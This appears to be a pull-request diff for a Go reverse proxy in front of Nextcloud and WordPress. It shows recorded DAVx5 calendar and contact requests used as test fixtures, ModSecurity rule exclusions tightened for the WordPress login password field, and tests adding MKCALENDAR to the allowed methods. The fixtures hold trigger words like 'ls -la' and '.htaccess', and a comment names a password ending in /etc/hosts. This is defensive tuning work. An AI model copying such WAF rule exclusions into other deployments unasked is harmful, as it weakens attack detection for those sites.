{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 179", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CS=\"http://calendarserver.org/ns/\"><prop><CS:getctag /><sync-token /><supported-report-set /></prop></propfind>"}
|
||||||
|
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 162", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><sync-collection xmlns=\"DAV:\"><sync-token></sync-token><sync-level>1</sync-level><prop><getetag /></prop></sync-collection>"}
|
||||||
|
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 780", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/calendar; charset=utf-8", "If-None-Match: *"], "body": "BEGIN:VCALENDAR\r\nVERSION:2.0\r\nPRODID:DAVx5/4.4.9-ose ical4j/3.2.19 (at.techbee.jtx)\r\nBEGIN:VEVENT\r\nDTSTAMP:20261110T090000Z\r\nUID:f861af26-0f29-43a9-8d45-6b62a6e532c3\r\nSUMMARY:Python3 and powershell review\r\nDTSTART;TZID=Europe/Berlin:20261112T100000\r\nDTEND;TZID=Europe/Berlin:20261112T110000\r\nLOCATION:Room .htaccess\\, Python3 Street 2\r\nDESCRIPTION:We read the .htaccess files\\; run ls -la and python3 first.\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nEND:VTIMEZONE\r\nEND:VCALENDAR\r\n"}
|
||||||
|
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 346", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:calendar-multiget xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\"><prop><getcontenttype /><getetag /><CAL:schedule-tag /><CAL:calendar-data /></prop><href>/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics</href></CAL:calendar-multiget>"}
|
||||||
|
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 328", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:calendar-query xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\"><prop><getetag /></prop><CAL:filter><CAL:comp-filter name=\"VCALENDAR\"><CAL:comp-filter name=\"VEVENT\"><CAL:time-range start=\"20260910T000000Z\" /></CAL:comp-filter></CAL:comp-filter></CAL:filter></CAL:calendar-query>"}
|
||||||
|
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 801", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/calendar; charset=utf-8", "If-Match: \"f9b025a978cf3630a8f4626dc059ad6d\""], "body": "BEGIN:VCALENDAR\r\nVERSION:2.0\r\nPRODID:DAVx5/4.4.9-ose ical4j/3.2.19 (at.techbee.jtx)\r\nBEGIN:VEVENT\r\nDTSTAMP:20261110T090000Z\r\nUID:f861af26-0f29-43a9-8d45-6b62a6e532c3\r\nSUMMARY:Powershell\\, ls -la and python3 review\r\nDTSTART;TZID=Europe/Berlin:20261112T100000\r\nDTEND;TZID=Europe/Berlin:20261112T110000\r\nLOCATION:Room .htaccess\\, Python3 Street 2\r\nDESCRIPTION:We read the .htaccess files\\; run ls -la and python3 first.\r\nSEQUENCE:1\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nEND:VTIMEZONE\r\nEND:VCALENDAR\r\n"}
|
||||||
|
{"method": "DELETE", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "If-Match: \"154f30851681c8504ece3e7b9535bf55\""], "body": ""}
|
||||||
|
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 179", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CS=\"http://calendarserver.org/ns/\"><prop><CS:getctag /><sync-token /><supported-report-set /></prop></propfind>"}
|
||||||
|
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 162", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><sync-collection xmlns=\"DAV:\"><sync-token></sync-token><sync-level>1</sync-level><prop><getetag /></prop></sync-collection>"}
|
||||||
|
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 377", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/vcard; charset=utf-8", "If-None-Match: *"], "body": "BEGIN:VCARD\r\nVERSION:3.0\r\nPRODID:+//IDN bitfire.at//DAVx5/4.4.9-ose ez-vcard/0.12.1\r\nUID:91b7145c-490b-4fc8-b87f-d7190a168ec9\r\nFN:Grace Powershell\r\nN:Powershell;Grace;;;\r\nORG:Python3 and .htaccess Works\r\nTITLE:ls -la operator\r\nNOTE:Teaches python3 and powershell\\; keeps the .htaccess notes.\r\nADR;TYPE=home:;;7 Python3 Road;Powershell City;;;\r\nREV:20261110T090000Z\r\nEND:VCARD\r\n"}
|
||||||
|
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 345", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CARD:addressbook-multiget xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><getcontenttype /><getetag /><CARD:address-data /></prop><href>/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf</href></CARD:addressbook-multiget>"}
|
||||||
|
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 399", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/vcard; charset=utf-8", "If-Match: \"4492d9aaf0b642fba38208a27412aba5\""], "body": "BEGIN:VCARD\r\nVERSION:3.0\r\nPRODID:+//IDN bitfire.at//DAVx5/4.4.9-ose ez-vcard/0.12.1\r\nUID:91b7145c-490b-4fc8-b87f-d7190a168ec9\r\nFN:Grace Python3 Powershell\r\nN:Powershell;Grace;;;\r\nORG:Python3 and .htaccess Works\r\nTITLE:.htaccess and ls -la operator\r\nNOTE:Teaches python3 and powershell\\; keeps the .htaccess notes.\r\nADR;TYPE=home:;;7 Python3 Road;Powershell City;;;\r\nREV:20261110T090000Z\r\nEND:VCARD\r\n"}
|
||||||
|
{"method": "DELETE", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "If-Match: \"9445ef81cb239bb92fe4a963e0a9fe37\""], "body": ""}
|
||||||
|
{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/2692072a-8832-45cc-8958-358528b26637/", "headers": ["Host: example.com", "Content-Length: 347", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><mkcol xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><set><prop><resourcetype><collection /><CARD:addressbook /></resourcetype><displayname>Python3 trainers</displayname><CARD:addressbook-description>Powershell and python3 contacts; ls -la first</CARD:addressbook-description></prop></set></mkcol>"}
|
||||||
@@ -96,45 +96,11 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
|
|||||||
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
|
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
|
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
|
||||||
|
|
||||||
# Signing in, in pwd, which skips each rule that random passwords set off.
|
# Signing in, in pwd, where a password holds any characters:
|
||||||
|
# 930120: a password ending in /etc/hosts
|
||||||
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
|
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
|
||||||
"id:900704,phase:1,pass,nolog,chain"
|
"id:900704,phase:1,pass,nolog,chain"
|
||||||
SecRule &ARGS_GET:pwd "@eq 0" \
|
SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:pwd"
|
|
||||||
|
|
||||||
# Saving through the REST API, the JSON fields title, excerpt and name skip these
|
# Saving through the REST API, the JSON fields title, excerpt and name skip these
|
||||||
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
|
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
|
||||||
|
|||||||
@@ -331,7 +331,7 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
|
|||||||
func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, method := range []string{http.MethodTrace, "MKCALENDAR", "BREW"} {
|
for _, method := range []string{http.MethodTrace, "BREW"} {
|
||||||
t.Run(method, func(t *testing.T) {
|
t.Run(method, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -344,7 +344,8 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
|||||||
got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
|
got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
|
||||||
if got.status != http.StatusMethodNotAllowed ||
|
if got.status != http.StatusMethodNotAllowed ||
|
||||||
got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
|
got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
|
||||||
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK" {
|
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
|
||||||
|
"MKCALENDAR" {
|
||||||
t.Errorf("answered %+v, want 405 naming the methods passed on", got)
|
t.Errorf("answered %+v, want 405 naming the methods passed on", got)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -370,7 +371,7 @@ func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
|
|||||||
http.MethodGet, http.MethodHead, http.MethodPost, http.MethodOptions,
|
http.MethodGet, http.MethodHead, http.MethodPost, http.MethodOptions,
|
||||||
http.MethodPut, http.MethodDelete, http.MethodPatch, "QUERY",
|
http.MethodPut, http.MethodDelete, http.MethodPatch, "QUERY",
|
||||||
"PROPFIND", "PROPPATCH", "MKCOL", "COPY", "MOVE", "REPORT", "SEARCH",
|
"PROPFIND", "PROPPATCH", "MKCOL", "COPY", "MOVE", "REPORT", "SEARCH",
|
||||||
"LOCK", "UNLOCK",
|
"LOCK", "UNLOCK", "MKCALENDAR",
|
||||||
} {
|
} {
|
||||||
t.Run(method, func(t *testing.T) {
|
t.Run(method, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|||||||
@@ -53,7 +53,7 @@ const ownEndpointPrefix = "/_sww/"
|
|||||||
// them. It answers any other method 405 itself.
|
// them. It answers any other method 405 itself.
|
||||||
// The WebDAV ones are for Nextcloud.
|
// The WebDAV ones are for Nextcloud.
|
||||||
const allowedMethods = "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, " +
|
const allowedMethods = "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, " +
|
||||||
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK"
|
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, MKCALENDAR"
|
||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
|
|||||||
Reference in new issue
Block a user